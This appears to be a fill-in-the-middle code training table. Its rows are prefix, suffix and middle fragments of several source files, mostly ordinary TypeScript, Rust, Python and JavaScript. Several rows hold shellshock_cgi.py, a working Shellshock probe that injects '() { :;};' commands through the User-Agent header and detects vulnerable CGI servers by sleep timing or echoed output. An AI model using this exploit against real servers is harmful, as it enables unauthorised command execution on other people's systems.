file_name large_stringlengths 4 140 | prefix large_stringlengths 0 12.1k | suffix large_stringlengths 0 12k | middle large_stringlengths 0 7.51k | fim_type large_stringclasses 4
values |
|---|---|---|---|---|
AudioSource.ts | class AudioSource
{
public static maxInstances:number = 50;
private path:string;
private sounds:HTMLAudioElement[] = [];
constructor(path:string, first?:HTMLAudioElement)
|
/**
* Gets a new instance of the sound from cache or file
*/
public requestSound():HTMLAudioElement
{
if (this.sounds.length > 0)
{
let source = this.sounds[0];
this.sounds.splice(0, 1);
return source;
}
else if (this.sounds.length < AudioSource.maxInstances)
{
let source = new Audio();
... | {
this.path = path;
if (first)
this.sounds.push(first);
} | identifier_body |
AudioSource.ts | class AudioSource
{
public static maxInstances:number = 50;
private path:string;
private sounds:HTMLAudioElement[] = [];
| (path:string, first?:HTMLAudioElement)
{
this.path = path;
if (first)
this.sounds.push(first);
}
/**
* Gets a new instance of the sound from cache or file
*/
public requestSound():HTMLAudioElement
{
if (this.sounds.length > 0)
{
let source = this.sounds[0];
this.sounds.splice(0, 1);
return... | constructor | identifier_name |
historystate.js | /*
* Copyright (c) 2014 Adobe Systems Incorporated. All rights reserved.
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the ri... | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
* DEALINGS IN THE SOFTWARE.
*
*/
define(function (require, exports, module) {
"use stric... | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | random_line_split |
strike.py | # -*- coding: utf-8 -*-
"""
Description:
Usage:
Author: YingzhiGou
Date: 21/08/2017
"""
from mtpy.gui.SmartMT.Components.FigureSetting import Font
from mtpy.gui.SmartMT.Components.PlotParameter import FrequencyTolerance, Rotation
from mtpy.gui.SmartMT.gui.plot_control_guis import PlotControlStrike
fr... | self._parameter_ui.add_parameter_groupbox(self._rotation_ui)
self._tolerance_ui = FrequencyTolerance(self._parameter_ui)
self._tolerance_ui.ui.doubleSpinBox.setValue(0.05) # set default value
self._parameter_ui.add_parameter_groupbox(self._tolerance_ui)
self._font_ui = Font(se... |
self._rotation_ui = Rotation(self._parameter_ui) | random_line_split |
strike.py | # -*- coding: utf-8 -*-
"""
Description:
Usage:
Author: YingzhiGou
Date: 21/08/2017
"""
from mtpy.gui.SmartMT.Components.FigureSetting import Font
from mtpy.gui.SmartMT.Components.PlotParameter import FrequencyTolerance, Rotation
from mtpy.gui.SmartMT.gui.plot_control_guis import PlotControlStrike
fr... |
self._plotting_object = PlotStrike(**self._params)
self._plotting_object.plot(show=False)
self._fig = self._plotting_object.fig
def update_ui(self):
pass
@staticmethod
def plot_name():
return "Strike"
@staticmethod
def plot_description():
return ""... | self._params['font_size'] = param | conditional_block |
strike.py | # -*- coding: utf-8 -*-
"""
Description:
Usage:
Author: YingzhiGou
Date: 21/08/2017
"""
from mtpy.gui.SmartMT.Components.FigureSetting import Font
from mtpy.gui.SmartMT.Components.PlotParameter import FrequencyTolerance, Rotation
from mtpy.gui.SmartMT.gui.plot_control_guis import PlotControlStrike
fr... | (VisualizationBase):
def __init__(self, parent):
VisualizationBase.__init__(self, parent)
# setup ui
self._plot_control_ui = PlotControlStrike(self._parameter_ui)
self._parameter_ui.add_parameter_groupbox(self._plot_control_ui)
self._rotation_ui = Rotation(self._parameter_ui... | Strike | identifier_name |
strike.py | # -*- coding: utf-8 -*-
"""
Description:
Usage:
Author: YingzhiGou
Date: 21/08/2017
"""
from mtpy.gui.SmartMT.Components.FigureSetting import Font
from mtpy.gui.SmartMT.Components.PlotParameter import FrequencyTolerance, Rotation
from mtpy.gui.SmartMT.gui.plot_control_guis import PlotControlStrike
fr... |
def update_ui(self):
pass
@staticmethod
def plot_name():
return "Strike"
@staticmethod
def plot_description():
return """
<p>This plots the estrike estimated from the invariants,
phase tensor and the tipper in either a rose diagram of
xy plot</p>... | self._params = {
'fn_list': [mt_obj.fn for mt_obj in self._mt_objs],
'rot_z': self._rotation_ui.get_rotation_in_degree(),
'period_tolerance': self._tolerance_ui.get_tolerance_in_float(),
'plot_range': self._plot_control_ui.get_plot_range(),
'plot_type': self._... | identifier_body |
configuration.ts | export interface ConfigurationParameters {
apiKeys?: {[ key: string ]: string};
username?: string;
password?: string;
accessToken?: string | (() => string);
basePath?: string;
withCredentials?: boolean;
}
export class Configuration {
apiKeys?: {[ key: string ]: string};
username?: strin... |
constructor(configurationParameters: ConfigurationParameters = {}) {
this.apiKeys = configurationParameters.apiKeys;
this.username = configurationParameters.username;
this.password = configurationParameters.password;
this.accessToken = configurationParameters.accessToken;
th... | accessToken?: string | (() => string);
basePath?: string;
withCredentials?: boolean; | random_line_split |
configuration.ts | export interface ConfigurationParameters {
apiKeys?: {[ key: string ]: string};
username?: string;
password?: string;
accessToken?: string | (() => string);
basePath?: string;
withCredentials?: boolean;
}
export class Configuration {
apiKeys?: {[ key: string ]: string};
username?: strin... |
const type = contentTypes.find(x => this.isJsonMime(x));
if (type === undefined) {
return contentTypes[0];
}
return type;
}
/**
* Select the correct accept content-type to use for a request.
* Uses {@link Configuration#isJsonMime} to determine the correct... | {
return undefined;
} | conditional_block |
configuration.ts | export interface ConfigurationParameters {
apiKeys?: {[ key: string ]: string};
username?: string;
password?: string;
accessToken?: string | (() => string);
basePath?: string;
withCredentials?: boolean;
}
export class | {
apiKeys?: {[ key: string ]: string};
username?: string;
password?: string;
accessToken?: string | (() => string);
basePath?: string;
withCredentials?: boolean;
constructor(configurationParameters: ConfigurationParameters = {}) {
this.apiKeys = configurationParameters.apiKeys;
... | Configuration | identifier_name |
configuration.ts | export interface ConfigurationParameters {
apiKeys?: {[ key: string ]: string};
username?: string;
password?: string;
accessToken?: string | (() => string);
basePath?: string;
withCredentials?: boolean;
}
export class Configuration {
apiKeys?: {[ key: string ]: string};
username?: strin... |
}
| {
const jsonMime: RegExp = new RegExp('^(application\/json|[^;/ \t]+\/[^;/ \t]+[+]json)[ \t]*(;.*)?$', 'i');
return mime != null && (jsonMime.test(mime) || mime.toLowerCase() === 'application/json-patch+json');
} | identifier_body |
shellshock_cgi.py | #!/usr/bin/env python
import urllib2
import time
import random
import string
randstr = lambda n: ''.join(random.choice(string.ascii_letters + string.digits) for i in xrange(n))
def timing_attack(url, request_type="HEAD", data=None, headers=None, sleeptime = 3, cmd='() { :;}; PATH="/bin:/usr/bin:/usr/local/bin:$PATH" ... | (url, request_type="GET", data=None, headers=None):
request_type = request_type.upper()
if request_type not in ("GET", "POST"):
raise Exception("Illegal request type '%s'" % request_type)
if headers is None: headers = {}
needle = randstr(20)
r = urllib2.Request(url, data, headers)
... | text_attack | identifier_name |
shellshock_cgi.py | #!/usr/bin/env python
import urllib2
import time
import random
import string
randstr = lambda n: ''.join(random.choice(string.ascii_letters + string.digits) for i in xrange(n))
def timing_attack(url, request_type="HEAD", data=None, headers=None, sleeptime = 3, cmd='() { :;}; PATH="/bin:/usr/bin:/usr/local/bin:$PATH" ... |
def text_attack(url, request_type="GET", data=None, headers=None):
request_type = request_type.upper()
if request_type not in ("GET", "POST"):
raise Exception("Illegal request type '%s'" % request_type)
if headers is None: headers = {}
needle = randstr(20)
r = urllib2.Req... | request_type = request_type.upper()
if request_type not in ("HEAD", "GET", "POST"):
raise Exception("Illegal request type '%s'" % request_type)
if headers is None: headers = {}
r = urllib2.Request(url, data, headers)
r.get_method = lambda : request_type
otime = -time.time()
resp... | identifier_body |
shellshock_cgi.py | #!/usr/bin/env python
import urllib2
import time
import random
import string
randstr = lambda n: ''.join(random.choice(string.ascii_letters + string.digits) for i in xrange(n))
def timing_attack(url, request_type="HEAD", data=None, headers=None, sleeptime = 3, cmd='() { :;}; PATH="/bin:/usr/bin:/usr/local/bin:$PATH" ... | r.add_header("User-Agent", '() { :;}; echo \'%s\'' % (needle,))
r.get_method = lambda : request_type
response = urllib2.urlopen(r)
return needle in response.read()
if __name__ == '__main__':
import sys
if len(sys.argv) < 2:
urls = sys.stdin.readlines()
else:
urls = sys... | needle = randstr(20)
r = urllib2.Request(url, data, headers)
r.add_unredirected_header("User-Agent", '() { :;}; echo \'%s\'' % (needle,)) | random_line_split |
shellshock_cgi.py | #!/usr/bin/env python
import urllib2
import time
import random
import string
randstr = lambda n: ''.join(random.choice(string.ascii_letters + string.digits) for i in xrange(n))
def timing_attack(url, request_type="HEAD", data=None, headers=None, sleeptime = 3, cmd='() { :;}; PATH="/bin:/usr/bin:/usr/local/bin:$PATH" ... |
needle = randstr(20)
r = urllib2.Request(url, data, headers)
r.add_unredirected_header("User-Agent", '() { :;}; echo \'%s\'' % (needle,))
r.add_header("User-Agent", '() { :;}; echo \'%s\'' % (needle,))
r.get_method = lambda : request_type
response = urllib2.urlopen(r)
return n... | headers = {} | conditional_block |
TrainerSpottedCutscene.ts | import { Section } from "eightbittr";
import { FullScreenPokemon } from "../../FullScreenPokemon";
import { Direction } from "../Constants";
import { Character, Player } from "../Actors";
/**
* TrainerSpotted cutscene routines.
*/
export class TrainerSpottedCutscene extends Section<FullScreenPokemon> {
/**
... | (settings: any): void {
this.game.collisions.detectors.collideCharacterDialog(
settings.player,
settings.triggerer
);
this.game.mapScreener.blockInputs = false;
}
}
| Dialog | identifier_name |
TrainerSpottedCutscene.ts | import { Section } from "eightbittr";
import { FullScreenPokemon } from "../../FullScreenPokemon";
import { Direction } from "../Constants";
import { Character, Player } from "../Actors";
/**
* TrainerSpotted cutscene routines.
*/
export class TrainerSpottedCutscene extends Section<FullScreenPokemon> {
/**
... | }
}
/**
* Cutscene for a trainer introduction after the player is approached.
*
* @param settings Settings used for the cutscene.
*/
public Dialog(settings: any): void {
this.game.collisions.detectors.collideCharacterDialog(
settings.player,
set... | { blocks, direction },
this.game.scenePlayer.bindRoutine("Dialog"),
]);
} else {
this.game.scenePlayer.playRoutine("Dialog"); | random_line_split |
TrainerSpottedCutscene.ts | import { Section } from "eightbittr";
import { FullScreenPokemon } from "../../FullScreenPokemon";
import { Direction } from "../Constants";
import { Character, Player } from "../Actors";
/**
* TrainerSpotted cutscene routines.
*/
export class TrainerSpottedCutscene extends Section<FullScreenPokemon> {
/**
... |
}
/**
* Cutscene for a trainer introduction after the player is approached.
*
* @param settings Settings used for the cutscene.
*/
public Dialog(settings: any): void {
this.game.collisions.detectors.collideCharacterDialog(
settings.player,
settings.tri... | {
this.game.scenePlayer.playRoutine("Dialog");
} | conditional_block |
TrainerSpottedCutscene.ts | import { Section } from "eightbittr";
import { FullScreenPokemon } from "../../FullScreenPokemon";
import { Direction } from "../Constants";
import { Character, Player } from "../Actors";
/**
* TrainerSpotted cutscene routines.
*/
export class TrainerSpottedCutscene extends Section<FullScreenPokemon> {
/**
... |
}
| {
this.game.collisions.detectors.collideCharacterDialog(
settings.player,
settings.triggerer
);
this.game.mapScreener.blockInputs = false;
} | identifier_body |
map-image-render-utils.ts | /*
* Lumeer: Modern Data Definition and Processing Platform
*
* Copyright (C) since 2017 Lumeer.io, s.r.o. and/or its affiliates.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either ... |
export function computeMarkerInitialX(x: number, scale: number, width: number): number {
return x / scale - (width * (scale - 1)) / (2 * scale);
}
export function computeMarkerInitialY(y: number, scale: number, height: number): number {
return y / scale - (height * (scale - 1)) / scale;
}
export function comput... | {
return Math.round(point * pointScale) / pointScale;
} | identifier_body |
map-image-render-utils.ts | /*
* Lumeer: Modern Data Definition and Processing Platform
*
* Copyright (C) since 2017 Lumeer.io, s.r.o. and/or its affiliates.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either ... | .attr('cx', 0)
.attr('cy', circleCenterY)
.attr('r', innerCircleRadius)
.attr('fill', shadeColor(properties.color, -0.3));
if (properties.icons?.length === 1) {
marker
.append('text')
.attr('x', 0)
.attr('y', circleCenterY)
.attr('text-anchor', 'middle')
.attr('domin... | const innerCircleRadius = width / 2 - 4;
marker
.append('circle') | random_line_split |
map-image-render-utils.ts | /*
* Lumeer: Modern Data Definition and Processing Platform
*
* Copyright (C) since 2017 Lumeer.io, s.r.o. and/or its affiliates.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either ... | (rectangle: Rectangle, scale: number): Rectangle {
return {width: rectangle.width * scale, height: rectangle.height * scale};
}
export function checkDragBounds(
position: Position,
scale: number,
center: Rectangle,
bounds: Rectangle,
markerSize: Rectangle = defaultMarkerSize
): Position {
const centerSca... | scaleRectangle | identifier_name |
map-image-render-utils.ts | /*
* Lumeer: Modern Data Definition and Processing Platform
*
* Copyright (C) since 2017 Lumeer.io, s.r.o. and/or its affiliates.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either ... | else if (properties.icons?.length === 2) {
const radius = innerCircleRadius / 2 - 1;
const icons = properties.icons.map(icon => icon.split(' ').slice(-1)[0]).map(icon => iconsMap[icon]);
marker
.append('text')
.attr('x', -radius)
.attr('y', circleCenterY - radius)
.attr('text-anchor... | {
marker
.append('text')
.attr('x', 0)
.attr('y', circleCenterY)
.attr('text-anchor', 'middle')
.attr('dominant-baseline', 'middle')
.attr('fill', '#ffffff')
.style('font-family', '"Font Awesome 5 Pro"')
.style('font-size', '12px')
.text(() => iconsMap[propertie... | conditional_block |
template.rs | use Renderable;
use context::Context;
use filters::{size, upcase, minus, plus, replace, times, divided_by, ceil, floor, round};
use error::Result;
pub struct Template {
pub elements: Vec<Box<Renderable>>,
}
impl Renderable for Template {
fn render(&self, context: &mut Context) -> Result<Option<String>> {
... |
}
Ok(Some(buf))
}
}
impl Template {
pub fn new(elements: Vec<Box<Renderable>>) -> Template {
Template { elements: elements }
}
}
| {
break;
} | conditional_block |
template.rs | use Renderable;
use context::Context;
use filters::{size, upcase, minus, plus, replace, times, divided_by, ceil, floor, round};
use error::Result;
pub struct Template {
pub elements: Vec<Box<Renderable>>,
}
impl Renderable for Template {
fn render(&self, context: &mut Context) -> Result<Option<String>> {
... | // Did the last element we processed set an interrupt? If so, we
// need to abandon the rest of our child elements and just
// return what we've got. This is usually in response to a
// `break` or `continue` tag being rendered.
if context.interrupted() {
... | random_line_split | |
template.rs | use Renderable;
use context::Context;
use filters::{size, upcase, minus, plus, replace, times, divided_by, ceil, floor, round};
use error::Result;
pub struct Template {
pub elements: Vec<Box<Renderable>>,
}
impl Renderable for Template {
fn render(&self, context: &mut Context) -> Result<Option<String>> {
... |
}
| {
Template { elements: elements }
} | identifier_body |
template.rs | use Renderable;
use context::Context;
use filters::{size, upcase, minus, plus, replace, times, divided_by, ceil, floor, round};
use error::Result;
pub struct | {
pub elements: Vec<Box<Renderable>>,
}
impl Renderable for Template {
fn render(&self, context: &mut Context) -> Result<Option<String>> {
context.add_filter("size", Box::new(size));
context.add_filter("upcase", Box::new(upcase));
context.add_filter("minus", Box::new(minus));
c... | Template | identifier_name |
AsusRouterPresenceService.py | import os
import urllib
import datetime
import telnetlib
import paramiko
import davan.config.config_creator as configuration
import davan.util.constants as constants
import davan.util.helper_functions as helper
from davan.http.service.presence.AsusRouterDeviceStatus import AsusRouterDeviceStatus,\
FAMI... |
self.guest_devices = {}
for key, value in self.config['GUEST_DEVICES'].items():
self.guest_devices[key]= AsusRouterDeviceStatus(key, value, GUESTS)
self.house_devices = {}
for key, value in self.config['HOUSE_DEVICES'].items():
self.house_de... | self.family_devices[key]= AsusRouterDeviceStatus(key, value, FAMILY) | conditional_block |
AsusRouterPresenceService.py | import os
import urllib
import datetime
import telnetlib
import paramiko
import davan.config.config_creator as configuration
import davan.util.constants as constants
import davan.util.helper_functions as helper
from davan.http.service.presence.AsusRouterDeviceStatus import AsusRouterDeviceStatus,\
FAMI... |
htmlresult += "\nGuests</br>\n"
for _,guests in self.guest_devices.items():
htmlresult.append(guests.user + "["+guests.active_toString()+"]</br>\n")
htmlresult += "\nDevices</br>\n"
for _,device in self.house_devices.items():
htmlresult.appen... | for _,family in self.family_devices.items():
htmlresult.append(family.user + "["+family.active_toString()+"]</br>\n")
| random_line_split |
AsusRouterPresenceService.py | import os
import urllib
import datetime
import telnetlib
import paramiko
import davan.config.config_creator as configuration
import davan.util.constants as constants
import davan.util.helper_functions as helper
from davan.http.service.presence.AsusRouterDeviceStatus import AsusRouterDeviceStatus,\
FAMI... |
def fetch_active_devices(self):
'''
Fetch a list of all devices status from router.
@return list of found devices
'''
p = paramiko.SSHClient()
p.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # This script doesn't work for me unless this line is ad... | '''
Fetch a list of all devices status from router.
@return list of found devices
'''
# self.logger.info("Fetch active devices from router")
tn = telnetlib.Telnet(self.config['ROUTER_ADRESS'])
tn.read_until("login: ")
tn.write(self.config['ROUTER_... | identifier_body |
AsusRouterPresenceService.py | import os
import urllib
import datetime
import telnetlib
import paramiko
import davan.config.config_creator as configuration
import davan.util.constants as constants
import davan.util.helper_functions as helper
from davan.http.service.presence.AsusRouterDeviceStatus import AsusRouterDeviceStatus,\
FAMI... | (self, service_provider, config ):
'''
Constructor
'''
ReoccuringBaseService.__init__(self, constants.DEVICE_PRESENCE_SERVICE_NAME, service_provider, config)
self.logger = logging.getLogger(os.path.basename(__file__))
logging.getLogger('paramiko.transport').setLevel... | __init__ | identifier_name |
a482d6aceb85_.py | """empty message
| Revision ID: a482d6aceb85
Revises: 01356afcc714
Create Date: 2017-11-09 15:57:26.288532
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = 'a482d6aceb85'
down_revision = '01356afcc714'
branch_labels = None
depends_on = None
def upgrade():
# ### commands auto ... | random_line_split | |
a482d6aceb85_.py | """empty message
Revision ID: a482d6aceb85
Revises: 01356afcc714
Create Date: 2017-11-09 15:57:26.288532
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = 'a482d6aceb85'
down_revision = '01356afcc714'
branch_labels = None
depends_on = None
def upgrade():
# ... | op.drop_column('discovery', 'num_datasets')
# ### end Alembic commands ### | identifier_body | |
a482d6aceb85_.py | """empty message
Revision ID: a482d6aceb85
Revises: 01356afcc714
Create Date: 2017-11-09 15:57:26.288532
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = 'a482d6aceb85'
down_revision = '01356afcc714'
branch_labels = None
depends_on = None
def | ():
# ### commands auto generated by Alembic - please adjust! ###
op.add_column('discovery', sa.Column('num_datasets', sa.Integer(), nullable=True))
# ### end Alembic commands ###
def downgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.drop_column('discovery', 'num_datase... | upgrade | identifier_name |
steamapi.js | "use strict";
var request = require(__dirname + "/request");
var db = require(__dirname + "/db");
/**
* Steam utils
*/
var steamapi = {};
/**
* Request to our api
* @param {string} type
* @param {string[]} ids
* @param {function} callback
*/
steamapi.request = function (type, ids, callback) {
if (!ids.len... |
}
}
callback(res);
});
} else {
callback(res);
}
};
/**
* Get db data for steamid
* @param {string} type
* @param {string} id
* @returns {*}
*/
steamapi.getDataForId = function (type, id) {
var sdb = db.get("steamapi");
var playerData = sdb.... | {
for (var playerIndex in data.response.players) {
if (data.response.players.hasOwnProperty(playerIndex)) {
steamData = data.response.players[playerIndex];
steamapi.saveDataForId(type, steamData.steamid, ... | conditional_block |
steamapi.js | "use strict";
var request = require(__dirname + "/request");
var db = require(__dirname + "/db");
/**
* Steam utils
*/
var steamapi = {};
/**
* Request to our api
* @param {string} type
* @param {string[]} ids
* @param {function} callback
*/
steamapi.request = function (type, ids, callback) {
if (!ids.len... | try {
var data = db.get("steamapi").value();
var timeout = new Date() / 1000 - 86400;
for (var steamId in data) {
if (data.hasOwnProperty(steamId)) {
var entries = data[steamId];
for (var entryIndex in entries) {
if (entries.has... | steamapi.cleanup = function () { | random_line_split |
jsoncors.js | (function(ns) {
/**
* JSON CORS utility
* Wraps up all the cors stuff into a simple post or get. Falls back to jsonp
*/
var JSONCORS = function() {
var self = this;
var supportsCORS = ('withCredentials' in new XMLHttpRequest()) || (typeof XDomainRequest != 'undefined');
/**********************************... | else {
if (r.http_status >= 200 && r.http_status <= 299) {
success(r, r.http_status, dxhr);
} else {
failure(r.http_status, r.error, dxhr);
}
}
};
// Error callback
jsonp.onerror = function() {
jsonp.parentElement.removeChild(jsonp);
dxhr.jsonp_transport_error = 'Script... | {
success(undefined, 200, dxhr);
} | conditional_block |
jsoncors.js | (function(ns) {
/**
* JSON CORS utility
* Wraps up all the cors stuff into a simple post or get. Falls back to jsonp
*/
var JSONCORS = function() {
var self = this;
var supportsCORS = ('withCredentials' in new XMLHttpRequest()) || (typeof XDomainRequest != 'undefined');
/**********************************... | };
/********************************************************************************/
// POST
/********************************************************************************/
/**
* Makes a post request
* @param url=/: the url to post to
* @param payload={}: the payload to send
* @param success=und... | if (options.complete) { options.complete(); }
}); | random_line_split |
lib.rs | // Copyright (c) 2015 by Michael Neumann
// Licensed under the Apache License, Version 2.0
// <LICENSE-APACHE or
// http://www.apache.org/licenses/LICENSE-2.0> or the MIT
// license <LICENSE-MIT or http://opensource.org/licenses/MIT>,
// at your option. All files in the project carrying such
// notice may not be copied... | () -> Command { Command::new("make") }
#[cfg(any(target_os = "freebsd", target_os = "dragonfly",
target_os = "netbsd", target_os = "openbsd",
target_os = "bitrig"))]
pub fn bsd_make() -> Command { Command::new("make") }
| gnu_make | identifier_name |
lib.rs | // Copyright (c) 2015 by Michael Neumann
// Licensed under the Apache License, Version 2.0
// <LICENSE-APACHE or
// http://www.apache.org/licenses/LICENSE-2.0> or the MIT
// license <LICENSE-MIT or http://opensource.org/licenses/MIT>,
// at your option. All files in the project carrying such
// notice may not be copied... | target_os = "bitrig"))]
pub fn bsd_make() -> Command { Command::new("make") } | target_os = "bitrig")))]
pub fn gnu_make() -> Command { Command::new("make") }
#[cfg(any(target_os = "freebsd", target_os = "dragonfly",
target_os = "netbsd", target_os = "openbsd", | random_line_split |
lib.rs | // Copyright (c) 2015 by Michael Neumann
// Licensed under the Apache License, Version 2.0
// <LICENSE-APACHE or
// http://www.apache.org/licenses/LICENSE-2.0> or the MIT
// license <LICENSE-MIT or http://opensource.org/licenses/MIT>,
// at your option. All files in the project carrying such
// notice may not be copied... |
#[cfg(not(any(target_os = "freebsd", target_os = "dragonfly",
target_os = "netbsd", target_os = "openbsd",
target_os = "bitrig")))]
pub fn gnu_make() -> Command { Command::new("make") }
#[cfg(any(target_os = "freebsd", target_os = "dragonfly",
target_os = "netbsd", target_os = "openbsd",
targ... | { Command::new("gmake") } | identifier_body |
pit.rs | //! Programmable Interval Timer
//! Generates interrupts
prelude!();
use ::ioports::*;
use ::interrupts::pic;
static mut COMMAND_PORT: IOPort<(), u8> = IOPort::new(0x43);
static mut DATA_PORT: IOPort<(), u8> = IOPort::new(0x40);
pub unsafe fn start_periodical(init: u16) {
// (channel: 0)_(initial bytes: both)_(... |
#[allow(unused)]
pub fn lock_interrupt() {
pic::lock_interrupt(0);
}
| {
pic::unlock_interrupt(0);
} | identifier_body |
pit.rs | //! Programmable Interval Timer
//! Generates interrupts
prelude!();
use ::ioports::*;
use ::interrupts::pic;
static mut COMMAND_PORT: IOPort<(), u8> = IOPort::new(0x43);
static mut DATA_PORT: IOPort<(), u8> = IOPort::new(0x40);
pub unsafe fn start_periodical(init: u16) {
// (channel: 0)_(initial bytes: both)_(... | () {
pic::lock_interrupt(0);
}
| lock_interrupt | identifier_name |
pit.rs | //! Programmable Interval Timer
//! Generates interrupts
prelude!();
use ::ioports::*;
use ::interrupts::pic;
static mut COMMAND_PORT: IOPort<(), u8> = IOPort::new(0x43);
static mut DATA_PORT: IOPort<(), u8> = IOPort::new(0x40);
pub unsafe fn start_periodical(init: u16) {
// (channel: 0)_(initial bytes: both)_(... |
pub fn unlock_interrupt() {
pic::unlock_interrupt(0);
}
#[allow(unused)]
pub fn lock_interrupt() {
pic::lock_interrupt(0);
} | DATA_PORT.write((init >> 8) as u8); // hi byte
} | random_line_split |
a2t-sign-in.component.ts | import { Component, Input } from '@angular/core';
import { Router } from '@angular/router';
import { Angular2TokenService } from '../../angular2-token.service';
import { SignInData } from '../../angular2-token.model';
import { A2tFormService } from '../a2t-shared';
import { SIGN_IN_FORM } from '../';
@Component({
... | (data: any) {
this._errors = null;
this._formService.unlockSubmit();
this._router.navigate(['restricted']);
}
private _handleError(error: any) {
this._errors = error.json().errors;
this._formService.unlockSubmit();
}
}
| _handleSuccess | identifier_name |
a2t-sign-in.component.ts | import { Component, Input } from '@angular/core';
import { Router } from '@angular/router';
import { Angular2TokenService } from '../../angular2-token.service';
import { SignInData } from '../../angular2-token.model';
import { A2tFormService } from '../a2t-shared';
import { SIGN_IN_FORM } from '../';
@Component({
... |
}
| {
this._errors = error.json().errors;
this._formService.unlockSubmit();
} | identifier_body |
a2t-sign-in.component.ts | import { Component, Input } from '@angular/core';
import { Router } from '@angular/router';
import { Angular2TokenService } from '../../angular2-token.service';
|
@Component({
selector: 'a2t-sign-in',
providers: [A2tFormService],
template: `
<a2t-headline>Sign In</a2t-headline>
<a2t-error [errors]="_errors"></a2t-error>
<a2t-form>Sign In</a2t-form>
<a2t-links case="sign-in"></a2t-links>
`
})
export class A2tSignInComponent {
... | import { SignInData } from '../../angular2-token.model';
import { A2tFormService } from '../a2t-shared';
import { SIGN_IN_FORM } from '../'; | random_line_split |
const-fn-destructuring-arg.rs | // Copyright 2015 The Rust Project Developers. See the COPYRIGHT
// file at the top-level directory of this distribution and at
// http://rust-lang.org/COPYRIGHT.
//
// Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or
// http://www.apache.org/licenses/LICENSE-2.0> or the MIT license
// <LICENSE-MIT or ... | a + b
//~^ ERROR let bindings in constant functions are unstable
//~| ERROR let bindings in constant functions are unstable
}
fn main() {} | b
//~^ ERROR arguments of constant functions can only be immutable by-value bindings
): (u32, u32)) -> u32 { | random_line_split |
const-fn-destructuring-arg.rs | // Copyright 2015 The Rust Project Developers. See the COPYRIGHT
// file at the top-level directory of this distribution and at
// http://rust-lang.org/COPYRIGHT.
//
// Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or
// http://www.apache.org/licenses/LICENSE-2.0> or the MIT license
// <LICENSE-MIT or ... | {} | identifier_body | |
const-fn-destructuring-arg.rs | // Copyright 2015 The Rust Project Developers. See the COPYRIGHT
// file at the top-level directory of this distribution and at
// http://rust-lang.org/COPYRIGHT.
//
// Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or
// http://www.apache.org/licenses/LICENSE-2.0> or the MIT license
// <LICENSE-MIT or ... | () {}
| main | identifier_name |
jug.d.ts | // Type definitions for jug
// Project: https://github.com/kaiquewdev/Graph
// Definitions by: yevt <https://github.com/yevt>
// Definitions: https://github.com/DefinitelyTyped/DefinitelyTyped
declare module "jug" {
/**
* Internal structure of a vertex
*/
interface VertexStructure {
level: nu... | */
getChildsOf(egde:number): Array<VertexData>;
/**
* Getting parents of an specified level and edge.
* @param {number} level - max level.
* @param {number} edge - edge index.
*/
getParentsFrom(level:number, edge:number): Array<VertexData>;
... |
/**
* Getting childs of an specified edge.
* @param egde - target vertex; | random_line_split |
outline.mako.rs | /* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
<%namespace name="helpers" file="/helpers.mako.rs" />
<% from data import Method %>
<% data.new_style_struct("Out... | (pub specified::Length);
pub mod computed_value {
use app_units::Au;
pub type T = Au;
}
pub use super::border_top_width::get_initial_value;
impl ToComputedValue for SpecifiedValue {
type ComputedValue = computed_value::T;
#[inline]
fn to_computed_value(&self, con... | SpecifiedValue | identifier_name |
outline.mako.rs | /* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
<%namespace name="helpers" file="/helpers.mako.rs" />
<% from data import Method %>
<% data.new_style_struct("Out... |
}
#[derive(Debug, Clone, PartialEq)]
#[cfg_attr(feature = "servo", derive(HeapSizeOf))]
pub struct SpecifiedValue(pub specified::Length);
pub mod computed_value {
use app_units::Au;
pub type T = Au;
}
pub use super::border_top_width::get_initial_value;
impl ToComputedVa... | {
let &SpecifiedValue(length) = self;
length.has_viewport_percentage()
} | identifier_body |
outline.mako.rs | /* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
<%namespace name="helpers" file="/helpers.mako.rs" />
<% from data import Method %>
<% data.new_style_struct("Out... | }
}
</%helpers:longhand>
// The -moz-outline-radius-* properties are non-standard and not on a standards track.
// TODO: Should they animate?
% for corner in ["topleft", "topright", "bottomright", "bottomleft"]:
${helpers.predefined_type("-moz-outline-radius-" + corner, "BorderRadiusSize",
"com... | }
#[inline]
fn from_computed_value(computed: &computed_value::T) -> Self {
SpecifiedValue(ToComputedValue::from_computed_value(computed)) | random_line_split |
Test.js | /** This is a namespace that allows tests to be ran.
* @since 0.0.20-alpha
* @namespace
* @alias test
*/
var test = {};
/** The currently running test package, should be set at the top of every testing package.
* @type string
*/
test.package = "";
/** The test results, as an object, where each key i... |
}
}
test.Tester = Tester;
/** Returns true if the two arguments are equal, this works intuitivley, and compares the elements
* for objects and arrays.
